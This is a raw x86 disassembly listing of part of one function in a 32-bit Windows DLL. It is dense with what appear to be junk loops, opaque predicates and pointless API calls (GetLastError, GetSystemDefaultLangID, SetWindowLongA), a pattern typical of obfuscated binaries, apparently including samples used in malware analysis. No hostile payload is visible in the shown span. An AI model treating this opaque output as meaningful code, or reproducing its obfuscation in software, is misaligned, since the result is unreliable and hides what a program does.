call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1fb4]
call fcn.100252df
jmp 0x10043e3d
jmp 0x10043e17
cmp dword [ebp - 0x94c], 0x441e
jge 0x10043ed7
push dword [ebp - 0x12d8]
call fcn.1008287d
pop ecx
mov eax, dword [0x100962b0]
and eax, 1
jne 0x10043f0e
mov eax, dword [0x100962b0]
or eax, 1
mov dword [0x100962b0], eax
mov dword [ebp - 4], 0x2a
mov ecx, 0x1009a0c0
call fcn.100255bd
push 0x10091641
call fcn.10082853
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x78], 0x469ad59e
push 2
lea ecx, [ebp - 0x187c]
call fcn.100254f9
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x38], 0
jmp 0x10043f39
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x10043f4f
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xec], 0xffffffff
jmp 0x10043f32
mov dword [ebp - 0x38], 0
jmp 0x10043f5f
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jge 0x10043f7b
push dword [ebp - 0x38]
lea ecx, [ebp - 0x187c]
call fcn.10025597
mov dword [eax], 1
jmp 0x10043f58
mov dword [ebp - 0x38], 0
jmp 0x10043f8b
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 1
jge 0x10043fa1
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x19c4], 1
jmp 0x10043f84
mov dword [ebp - 0x78], 0
jmp 0x10043fb1
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jg 0x100440ff
mov dword [ebp - 0x95c], 0xffffffff
mov dword [ebp - 0x1500], 0x7643
mov dword [ebp - 0x12e4], 0
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp + eax*4 - 0xec]
mov dword [ebp - 0x19cc], eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ebp + ecx*4 - 0xec]
cmp dword [ebp + eax*4 - 0xec], ecx
jge 0x1004400b
mov dword [ebp - 0x954], 1
jmp 0x10044012
and dword [ebp - 0x954], 0
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp + eax*4 - 0xec]
cmp dword [ebp - 0x954], eax
jle 0x1004402f
mov eax, dword [ebp - 0x78]
cmp dword [ebp + eax*4 - 0xec], 0
mov dword [ebp - 0x95c], 0xf9986e3
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp + eax*4 - 0xec]
sub eax, dword [ebp - 0x95c]
je 0x10044060
mov eax, 0x22a
test eax, eax
je 0x10044060
mov dword [ebp - 0x704], 1
jmp 0x10044067
and dword [ebp - 0x704], 0
push 0
lea ecx, [ebp - 0x187c]
call fcn.10025597
mov ecx, dword [ebp - 0x704]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1500]
cmp dword [ebp - 0x704], eax
jle 0x10044096
mov dword [ebp - 0x964], 1
jmp 0x1004409d
and dword [ebp - 0x964], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0xec]
cmp eax, dword [ebp - 0x964]
jge 0x100440cb
mov dword [ebp - 0x96c], 1
jmp 0x100440d2
and dword [ebp - 0x96c], 0
cmp dword [ebp - 0x96c], 1
jb 0x100440e7
mov dword [ebp - 0x974], 1
jmp 0x100440ee
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x974]
mov dword [ebp - 0x12e4], eax
jmp 0x10043faa
mov dword [ebp - 0x97c], 0x4b5f
mov dword [ebp - 0x12f0], 0x1000a670
cmp dword [ebp - 0x97c], 0x4ea4
jle 0x100441d5
and dword [ebp - 0x420], 0
jmp 0x10044139
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0x2a58
jge 0x100441d5
and dword [ebp - 0x428], 0
jmp 0x1004415f
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0x14c3
jge 0x100441d0
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x428]
sar eax, cl
cdq
mov dword [ebp - 0x1358], eax
mov dword [ebp - 0x1354], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x19d4], eax
push dword [ebp - 0x1354]
push dword [ebp - 0x1358]
lea ecx, [ebp - 0x1fe4]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x15e0], eax
mov ecx, dword [ebp - 0x15e0]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1fe4]
call fcn.100252df
jmp 0x10044152
jmp 0x1004412c
mov byte [ebp - 0x136], 0
cmp dword [ebp - 0x97c], 0x49b6
jge 0x100441f4
push dword [ebp - 0x12f0]
call fcn.1008287d
pop ecx
movzx eax, byte [ebp - 0x136]
test eax, eax
je 0x10044207
push 0
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x187c]
call fcn.1002557b
movzx eax, byte [0x1009a008]
test eax, eax
je 0x10044cf6
mov ecx, 0x1009a0c0
call fcn.1004d5f9
movzx eax, al
test eax, eax
jne 0x10044cf6
mov dword [ebp - 0x19dc], 0x10095258
push 1
lea ecx, [ebp - 0xfbc]
call fcn.100254f9
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x1bb8], 0xfffffff9
mov dword [ebp - 0xf4], 0xffffffff
mov dword [ebp - 0xe0], 0x836b
mov dword [ebp - 0x994], 8
mov dword [ebp - 0xac], 0
jmp 0x10044299
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 1
jge 0x100442b8
push dword [ebp - 0xac]
lea ecx, [ebp - 0xfbc]
call fcn.10025597
or dword [eax], 0xffffffff
jmp 0x1004428c
mov dword [ebp - 0xac], 0
jmp 0x100442d1
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 1
jge 0x100442ed
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x1308], 0xfffffffe
jmp 0x100442c4
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe0], 0xffffffe3
jmp 0x10044313
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x32
jl 0x10044553
mov dword [ebp - 0x70c], 0x9c9d9403
mov dword [ebp - 0x21c], 0x459f451d
mov dword [ebp - 0x1510], 0xb4373c94
mov dword [ebp - 0x1314], 0xfffffff7
mov dword [ebp - 0xf4], 0
jmp 0x10044361
mov eax, dword [ebp - 0xf4]
dec eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
jl 0x1004454e
mov dword [ebp - 0x1624], 0xfffe
mov dword [ebp - 0x9ac], 0xffffffff
mov eax, dword [ebp - 0x70c]
inc eax
mov dword [ebp - 0x70c], eax
cmp dword [ebp - 0x21c], 0xcf22
jne 0x100443a7
mov dword [ebp - 0x1508], 1
jmp 0x100443ae
and dword [ebp - 0x1508], 0
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x1bc0], eax
mov eax, dword [ebp - 0x21c]
add eax, dword [ebp - 0xe0]
jne 0x100443d4
mov dword [ebp - 0x984], 1
jmp 0x100443db
and dword [ebp - 0x984], 0
cmp dword [ebp - 0x984], 1
jbe 0x100443f0
mov dword [ebp - 0x12fc], 1
jmp 0x100443f7
and dword [ebp - 0x12fc], 0
push dword [ebp - 0xf4]
lea ecx, [ebp - 0xfbc]
call fcn.10025597
push dword [ebp - 0xf4]
lea ecx, [ebp - 0xfbc]
call fcn.10025597
cmp dword [eax], 0
jne 0x10044430
cmp dword [ebp - 0x70c], 0
jne 0x10044430
and dword [ebp - 0x98c], 0
jmp 0x1004443a
mov dword [ebp - 0x98c], 1
imul eax, dword [ebp - 0x98c], 0x11e0
imul eax, dword [ebp - 0x1624]
mov dword [ebp - 0x994], eax
imul eax, dword [ebp - 0x994], 0
mov dword [ebp - 0x21c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1308]
cmp dword [ebp - 0x21c], eax
je 0x1004447f
mov dword [ebp - 0x99c], 1
jmp 0x10044486
and dword [ebp - 0x99c], 0
imul esi, dword [ebp - 0x99c], 0xb56
push dword [ebp - 0xf4]
lea ecx, [ebp - 0xfbc]
call fcn.10025597
cmp esi, dword [eax]
jle 0x100444b1
mov dword [ebp - 0x9a4], 1
jmp 0x100444b8
and dword [ebp - 0x9a4], 0
mov eax, dword [ebp - 0x9a4]
mov dword [ebp - 0x9ac], eax
mov eax, dword [ebp - 0x9ac]
sub eax, 0x6b786ae2
cmp eax, dword [ebp - 0x1510]
jl 0x100444ec
cmp dword [ebp - 0xe0], 0
je 0x100444ec
mov dword [ebp - 0x9b4], 1
jmp 0x100444f3
and dword [ebp - 0x9b4], 0
cmp dword [ebp - 0x9b4], 7
jne 0x10044508
mov dword [ebp - 0x9bc], 1
jmp 0x1004450f
and dword [ebp - 0x9bc], 0
push dword [ebp - 0xf4]
lea ecx, [ebp - 0xfbc]
call fcn.10025597
mov eax, dword [eax]
cmp eax, dword [ebp - 0x9bc]
jne 0x10044536
mov dword [ebp - 0x9c4], 1
jmp 0x1004453d
and dword [ebp - 0x9c4], 0
mov eax, dword [ebp - 0x9c4]
mov dword [ebp - 0x1314], eax
jmp 0x10044354
jmp 0x10044306
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfbc]
call fcn.1002557b
lea eax, [ebp - 0x5a0]
push eax
lea eax, [ebp - 0xaec]
push eax
mov ecx, 0x1009a0c0
call fcn.10025682
lea eax, [ebp - 0x1bc8]
push eax
mov ecx, 0x1009a0c0
call fcn.10025674
push eax
lea ecx, [ebp - 0xaec]
call fcn.10025697
movzx eax, al
test eax, eax
je 0x10044cf6
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x71c], 0x51abe719
mov dword [ebp - 0x104], 0xc71f8b10
mov dword [ebp - 0xa8c], 0x27a8
mov dword [ebp - 0x1f4], 0x49c99c4d
mov dword [ebp - 0xac4], 0xa14e
mov dword [ebp - 0x430], 0
jmp 0x100445f4
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 1
jge 0x10044610
mov eax, dword [ebp - 0x430]
mov dword [ebp + eax*4 - 0xa94], 0xff020a73
jmp 0x100445e7
xor eax, eax
je 0x10044a49
mov dword [ebp - 0xfc], 0xffffffff
push 3
lea ecx, [ebp - 0x6dc]
call fcn.100254f9
mov dword [ebp - 4], 0x2d
mov dword [ebp - 0x15f0], 0x86a0230a
mov dword [ebp - 0x438], 0
jmp 0x10044659
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 3
jge 0x1004467b
push dword [ebp - 0x438]
lea ecx, [ebp - 0x6dc]
call fcn.10025597
mov dword [eax], 0x383cc47d
jmp 0x1004464c
mov dword [ebp - 0xfc], 0
jmp 0x10044694
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x1d
jg 0x10044833
mov dword [ebp - 0x9fc], 0xcf257925
push 0
lea ecx, [ebp - 0x6dc]
call fcn.10025597
push 1
lea ecx, [ebp - 0x6dc]
call fcn.10025597
cmp dword [eax], 0xc520
jle 0x100446d9
mov dword [ebp - 0x9cc], 1
jmp 0x100446e0
and dword [ebp - 0x9cc], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x9cc]
je 0x100446f7
mov dword [ebp - 0x9d4], 1
jmp 0x100446fe
and dword [ebp - 0x9d4], 0
cmp dword [ebp - 0x9d4], 4
jbe 0x10044713
mov dword [ebp - 0x9dc], 1
jmp 0x1004471a
and dword [ebp - 0x9dc], 0
cmp dword [ebp - 0x9dc], 0xe434
jne 0x10044732
mov dword [ebp - 0x9e4], 1
jmp 0x10044739
and dword [ebp - 0x9e4], 0
cmp dword [ebp - 0x9e4], 0xa6f
jle 0x10044751
mov dword [ebp - 0x9ec], 1
jmp 0x10044758
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x9ec]
mov dword [ebp - 0x20], eax
je 0x1004477b
cmp dword [ebp - 0xfc], 0
je 0x1004477b
mov dword [ebp - 0x9f4], 1
jmp 0x10044782
and dword [ebp - 0x9f4], 0
mov esi, dword [ebp - 0x9fc]
push 1
lea ecx, [ebp - 0x6dc]
call fcn.10025597
mov ecx, dword [ebp - 0x9f4]
add ecx, dword [eax]
cmp esi, ecx
jne 0x100447a5
cmp dword [ebp - 0x20], 0
mov esi, dword [ebp - 0x20]
neg esi
push 1
lea ecx, [ebp - 0x6dc]
call fcn.10025597
cmp esi, dword [eax]
je 0x100447ca
cmp dword [ebp - 0x20], 0
jne 0x100447ca
and dword [ebp - 0xa04], 0
jmp 0x100447d4
mov dword [ebp - 0xa04], 1
mov eax, dword [ebp - 0x9fc]
cmp dword [ebp - 0xa04], eax
jle 0x100447ee
mov dword [ebp - 0xa0c], 1
jmp 0x100447f5
and dword [ebp - 0xa0c], 0
mov esi, dword [ebp - 0xfc]
sub esi, dword [ebp - 0xa0c]
push 0
lea ecx, [ebp - 0x6dc]
call fcn.10025597
mov dword [eax], esi
mov byte [ebp - 0x175], 0
movzx eax, byte [ebp - 0x175]
test eax, eax
je 0x1004482e
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowLongA]
jmp 0x10044687
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1bd0], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x71c], eax
mov eax, dword [ebp - 0x71c]
inc eax
cmp eax, 1
jne 0x1004485d
mov dword [ebp - 0xa14], 1
jmp 0x10044864
and dword [ebp - 0xa14], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xa14]
jne 0x10044881
mov eax, 0xd3c5
test eax, eax
jne 0x10044881
and dword [ebp - 0xa1c], 0
jmp 0x1004488b
mov dword [ebp - 0xa1c], 1
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0xa1c]
je 0x100448a2
mov dword [ebp - 0xa24], 1
jmp 0x100448a9
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0xa24]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jle 0x100448d0
mov dword [ebp - 0xa2c], 1
jmp 0x100448d7
and dword [ebp - 0xa2c], 0
cmp dword [ebp - 0xa2c], 0x9f111191
ja 0x100448ef
mov dword [ebp - 0xa34], 1
jmp 0x100448f6
and dword [ebp - 0xa34], 0
push 2
lea ecx, [ebp - 0x6dc]
call fcn.10025597
mov ecx, dword [ebp - 0xa34]
cmp ecx, dword [eax]
jg 0x10044919
mov dword [ebp - 0xa3c], 1
jmp 0x10044920
and dword [ebp - 0xa3c], 0
cmp dword [ebp - 0xa3c], 0xfffffffa
jb 0x10044935
mov dword [ebp - 0xa44], 1
jmp 0x1004493c
and dword [ebp - 0xa44], 0
push 2
lea ecx, [ebp - 0x6dc]
call fcn.10025597
mov ecx, dword [ebp - 0xa44]
cmp ecx, dword [eax]
jge 0x10044965
cmp dword [ebp - 0x20], 0
je 0x10044965
mov dword [ebp - 0xa4c], 1
jmp 0x1004496c
and dword [ebp - 0xa4c], 0
push 1
lea ecx, [ebp - 0x6dc]
call fcn.10025597
mov ecx, dword [ebp - 0xa4c]
sub ecx, dword [eax]
je 0x1004498c
mov eax, 0x8a9a2627
test eax, eax
jne 0x1004499a
or eax, 0xffffffff
jne 0x1004499a
and dword [ebp - 0xa54], 0
jmp 0x100449a4
mov dword [ebp - 0xa54], 1
push 2
lea ecx, [ebp - 0x6dc]
call fcn.10025597
mov eax, dword [eax]
cmp eax, dword [ebp - 0xa54]
je 0x100449c7
mov dword [ebp - 0x714], 1
jmp 0x100449ce
and dword [ebp - 0x714], 0
push 2
lea ecx, [ebp - 0x6dc]
call fcn.10025597
mov ecx, dword [ebp - 0x714]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
cmp dword [ebp - 0x714], eax
jne 0x100449fd
mov dword [ebp - 0xa5c], 1
jmp 0x10044a04
and dword [ebp - 0xa5c], 0
mov eax, dword [ebp - 0x104]
cmp dword [ebp - 0xa5c], eax
jl 0x10044a1e
mov dword [ebp - 0xa64], 1
jmp 0x10044a25
and dword [ebp - 0xa64], 0
imul eax, dword [ebp - 0xa64], 0x2174
mov dword [ebp - 0x15f0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6dc]
call fcn.1002557b
jmp 0x10044c48
mov dword [ebp - 0x248], 0
mov dword [ebp - 0xa9c], 0x20eb
mov dword [ebp - 0xa6c], 0x44157f02
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa94]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0xa6c], eax
mov eax, dword [ebp - 0x248]
cmp dword [ebp - 0xa6c], eax
jne 0x10044a97
mov dword [ebp - 0xa74], 1
jmp 0x10044a9e
and dword [ebp - 0xa74], 0
mov eax, dword [ebp - 0xa8c]
cmp dword [ebp - 0xa74], eax
jle 0x10044ab8
mov dword [ebp - 0x7d0], 1
jmp 0x10044abf
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0x7d0]
dec eax
cmp dword [ebp - 0xa9c], eax
jl 0x10044ada
mov dword [ebp - 0xa7c], 1
jmp 0x10044ae1
and dword [ebp - 0xa7c], 0
mov eax, dword [ebp - 0x248]
cmp dword [ebp - 0xa7c], eax
jl 0x10044b01
cmp dword [ebp - 0x248], 0
jne 0x10044b01
and dword [ebp - 0xa84], 0
jmp 0x10044b0b
mov dword [ebp - 0xa84], 1
mov eax, dword [ebp - 0xa84]
sub eax, dword [ebp - 0xa8c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xa94]
je 0x10044b32
mov dword [ebp - 0xaa4], 1
jmp 0x10044b39
and dword [ebp - 0xaa4], 0
mov eax, dword [ebp - 0xa9c]
cmp dword [ebp - 0xaa4], eax
jl 0x10044b59
mov eax, 0xca98
test eax, eax
jne 0x10044b59
and dword [ebp - 0xaac], 0
jmp 0x10044b63
mov dword [ebp - 0xaac], 1
mov eax, dword [ebp - 0x1f4]
cmp dword [ebp - 0xaac], eax
jne 0x10044b7d
mov dword [ebp - 0xab4], 1
jmp 0x10044b84
and dword [ebp - 0xab4], 0
cmp dword [ebp - 0xab4], 0xad959fc8
jbe 0x10044b9c
mov dword [ebp - 0xabc], 1
jmp 0x10044ba3
and dword [ebp - 0xabc], 0
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0xac4], eax
mov eax, dword [ebp - 0xac4]
sub eax, 0xfffa
cmp eax, dword [ebp - 0x104]
jle 0x10044bce
mov dword [ebp - 0xacc], 1
jmp 0x10044bd5
and dword [ebp - 0xacc], 0
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0xacc]
jg 0x10044bef
mov dword [ebp - 0xad4], 1
jmp 0x10044bf6
and dword [ebp - 0xad4], 0
mov eax, dword [ebp - 0x248]
cmp dword [ebp - 0xad4], eax
jle 0x10044c10
mov dword [ebp - 0xadc], 1
jmp 0x10044c17
and dword [ebp - 0xadc], 0
cmp dword [ebp - 0xadc], 0xfffd
ja 0x10044c2f
mov dword [ebp - 0xae4], 1
jmp 0x10044c36
and dword [ebp - 0xae4], 0
mov eax, dword [ebp - 0x248]
sub eax, dword [ebp - 0xae4]
mov dword [ebp - 0x71c], eax
mov dword [ebp - 0x104], 0xfffffff9
jmp 0x10044c61
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 4
jl 0x10044ce2
mov dword [ebp - 0x1ac], 1
mov dword [ebp - 0x1320], 0xf261b24c
mov dword [ebp - 0x1f4], 0
jmp 0x10044c97
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0
jg 0x10044cdd
cmp dword [ebp - 0x1ac], 0
je 0x10044cab
jmp 0x10044cdd
mov dword [ebp - 0x1ac], 0
jmp 0x10044cc4
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
jg 0x10044cdb
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x1320], eax
jmp 0x10044cb7
jmp 0x10044c8a
jmp 0x10044c54
lea ecx, [ebp - 0xaec]
call fcn.1004d602
mov eax, dword [eax + 4]
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0xd7c], 0x2666
mov dword [ebp - 0x109c], 0x1000a690
cmp dword [ebp - 0xd7c], 0x29d2
jle 0x10044dcd
and dword [ebp - 0x440], 0
jmp 0x10044d30
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0x7953
jge 0x10044dcd
and dword [ebp - 0x448], 0
jmp 0x10044d56
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0x434e
jge 0x10044dc8
mov eax, dword [ebp - 0x440]
mov ecx, dword [ebp - 0x448]
sar eax, cl
cdq
mov dword [ebp - 0x1364], eax
mov dword [ebp - 0x1360], edx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov word [ebp - 0x1168], ax
push dword [ebp - 0x1360]
push dword [ebp - 0x1364]
lea ecx, [ebp - 0x2014]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1518], eax
mov ecx, dword [ebp - 0x1518]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x2014]
call fcn.100252df
jmp 0x10044d49
jmp 0x10044d23
cmp dword [ebp - 0x1d4], 0xffffffff
jne 0x10047295
mov dword [ebp - 0x10c], 4
mov dword [ebp - 0x1b4], 0xcd333563
mov dword [ebp - 0x17b8], 3
mov dword [ebp - 0x17b4], 3
mov dword [ebp - 0x17b0], 3
mov dword [ebp - 0x17ac], 3
lea ecx, [ebp - 0x783]
call fcn.100255a6
push eax
lea eax, [ebp - 0x17a8]
push eax
lea eax, [ebp - 0x17b8]
push eax
lea ecx, [ebp - 0x1dd4]
call fcn.100255a9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1834]
call fcn.10025555
mov dword [ebp - 4], 0x2e
mov dword [ebp - 0x10c], 0x1c
jmp 0x10044e6b
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xffffffea
jne 0x10044fe1
mov dword [ebp - 0x114], 0xd69f4288
mov eax, dword [ebp - 0x114]
dec eax
mov dword [ebp - 0x114], eax
je 0x10044f17
cmp dword [ebp - 0x114], 0
jne 0x10044eb0
mov eax, 0x9995
test eax, eax
jne 0x10044eb0
and dword [ebp - 0xaf4], 0
jmp 0x10044eba
mov dword [ebp - 0xaf4], 1
xor eax, eax
inc eax
sub eax, dword [ebp - 0xaf4]
cmp dword [ebp - 0x114], eax
jge 0x10044ed7
mov dword [ebp - 0xafc], 1
jmp 0x10044ede
and dword [ebp - 0xafc], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0xafc], eax
jg 0x10044ef8
mov dword [ebp - 0xb04], 1
jmp 0x10044eff
and dword [ebp - 0xb04], 0
cmp dword [ebp - 0xb04], 0x1871
jne 0x10044f17
mov dword [ebp - 0xb0c], 1
jmp 0x10044f1e
and dword [ebp - 0xb0c], 0
mov eax, dword [ebp - 0xb0c]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x10c], 0
jne 0x10044f45
cmp dword [ebp - 0x114], 0
jne 0x10044f45
and dword [ebp - 0xb14], 0
jmp 0x10044f4f
mov dword [ebp - 0xb14], 1
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0xb14], eax
jle 0x10044f69
mov dword [ebp - 0xb1c], 1
jmp 0x10044f70
and dword [ebp - 0xb1c], 0
cmp dword [ebp - 0xb1c], 0x150faeb3
jne 0x10044f93
cmp dword [ebp - 0x114], 0
jne 0x10044f93
xor eax, eax
inc eax
jne 0x10044f93
and dword [ebp - 0xb24], 0
jmp 0x10044f9d
mov dword [ebp - 0xb24], 1
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0xb24], eax
jne 0x10044fbd
cmp dword [ebp - 0x114], 0
jne 0x10044fbd
and dword [ebp - 0xb2c], 0
jmp 0x10044fc7
mov dword [ebp - 0xb2c], 1
push 2
lea ecx, [ebp - 0x1834]
call fcn.10025597
mov ecx, dword [ebp - 0xb2c]
mov dword [eax], ecx
jmp 0x10044e5e
mov dword [ebp - 0x1b4], 0
jmp 0x10044ffa
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 4
jge 0x1004501c
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0x1834]
call fcn.10025597
mov dword [eax], 0xe2e4e
jmp 0x10044fed
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1834]
call fcn.1002557b
mov ecx, 0x1009a0c0
call fcn.1004d646
mov ecx, dword [ebp - 0xe4]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x1009a0c0
call fcn.1004d64a
push 3
lea ecx, [ebp - 0x1a8c]
call fcn.100254f9
mov dword [ebp - 4], 0x2f
mov dword [ebp - 0x1bd8], 1
mov dword [ebp - 0x1be0], 0
mov dword [ebp - 0x1be8], 0
mov dword [ebp - 0x1bf0], 0x26d2e858
mov dword [ebp - 0x1bf8], 0xffffffff
mov dword [ebp - 0x1c24], 0xffffffff
mov dword [ebp - 0x1c2c], 0xe4562513
mov dword [ebp - 0x1c34], 0x2b4746a1
mov dword [ebp - 0x1c3c], 0xcb8f2ba1
mov dword [ebp - 0x17e0], 1
mov dword [ebp - 0x17dc], 1
mov dword [ebp - 0x17d8], 1
mov dword [ebp - 0x17d4], 1
lea ecx, [ebp - 0x6e9]
call fcn.100255a6
push eax
lea eax, [ebp - 0x17d0]
push eax
lea eax, [ebp - 0x17e0]
push eax
lea ecx, [ebp - 0x1d54]
call fcn.100255a9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1cd0]
call fcn.10025555
mov byte [ebp - 4], 0x30
mov dword [ebp - 0xb3c], 5
mov dword [ebp - 0xb34], 0x543d
mov dword [ebp - 0x162c], 0x1000a6d8
cmp dword [ebp - 0xb34], 0x555b
jle 0x1004522c
and dword [ebp - 0x450], 0
jmp 0x1004515c
mov eax, dword [ebp - 0x450]
inc eax
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 0x882
jge 0x1004522c
and dword [ebp - 0x458], 0
jmp 0x10045182
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0x946
jge 0x10045227
and dword [ebp - 0x460], 0
jmp 0x100451a8
mov eax, dword [ebp - 0x460]
inc eax
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0x1b3d
jge 0x10045222
mov eax, dword [ebp - 0x450]
imul eax, dword [ebp - 0x458]
add eax, dword [ebp - 0x460]
cdq
mov dword [ebp - 0x1370], eax
mov dword [ebp - 0x136c], edx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov word [ebp - 0x1174], ax
push dword [ebp - 0x136c]
push dword [ebp - 0x1370]
lea ecx, [ebp - 0x2044]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x132c], eax
mov ecx, dword [ebp - 0x132c]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x2044]
call fcn.100252df
jmp 0x1004519b
jmp 0x10045175
jmp 0x1004514f
cmp dword [ebp - 0xb34], 0x517c
jge 0x10045244
push dword [ebp - 0x162c]
call fcn.1008287d
pop ecx
mov dword [ebp - 0xb4], 0
jmp 0x1004525d
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 3
jge 0x1004527f
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x1a8c]
call fcn.10025597
mov dword [eax], 0x4cd4536
jmp 0x10045250
mov dword [ebp - 0xb4], 0
jmp 0x10045298
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 2
jge 0x100452b4
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x1dc4], 0
jmp 0x1004528b
mov eax, dword [ebp - 0xb3c]
inc eax
mov dword [ebp - 0xb3c], eax
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x1cd0]
call fcn.1002557b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a8c]
call fcn.1002557b
mov dword [ebp - 0xd74], 0xfee
mov dword [ebp - 0x1094], 0x1000a6ec
cmp dword [ebp - 0xd74], 0x1009
jle 0x100453e9
and dword [ebp - 0x478], 0
jmp 0x10045319
mov eax, dword [ebp - 0x478]
inc eax
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 0x4e9
jge 0x100453e9
